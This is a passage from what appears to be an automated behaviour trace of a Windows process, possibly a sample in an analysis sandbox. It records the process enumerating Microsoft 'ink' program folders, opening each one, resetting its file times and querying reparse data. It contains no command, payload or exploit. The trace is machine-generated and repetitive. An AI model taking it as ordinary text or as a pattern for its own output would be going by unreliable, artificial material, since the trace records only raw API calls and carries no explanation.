ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchobj.dll", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2043185d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2043185d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe2234520, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchui.dll", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5c335e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1f5c335e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7764cdc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip32.exe", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37da0ed4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x37da0ed4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf635e30, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232762c6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x232762c6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf6cd410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232762c6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x232762c6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf6cd410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 0 [0087.046] GetLastError () returned 0x12 [0087.046] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0087.046] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0087.047] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.073] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.073] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.073] NtClose (Handle=0x124) returned 0x0 [0087.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d370 [0087.075] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.075] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.075] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0087.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.077] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 0 [0087.077] GetLastError () returned 0x12 [0087.077] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.077] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.077] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.077] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0087.077] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 0 [0087.077] GetLastError () returned 0x12 [0087.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d370) returned 1 [0087.077] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.078] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.7", cAlternateFileName="")) returned 1 [0087.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.7"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.079] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.079] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.079] NtClose (Handle=0x16c) returned 0x0 [0087.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d370 [0087.080] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.080] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.080] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0087.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.082] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 0 [0087.082] GetLastError () returned 0x12 [0087.082] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.082] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.082] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.082] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0087.082] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 0 [0087.082] GetLastError () returned 0x12 [0087.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d370) returned 1 [0087.082] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.083] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.084] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.097] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.098] NtClose (Handle=0x124) returned 0x0 [0087.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.099] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.114] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.114] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0087.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb508 [0087.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1302ad0 [0087.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.117] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0087.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb528 [0087.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1302bd8 [0087.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.118] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1101e045, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0087.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 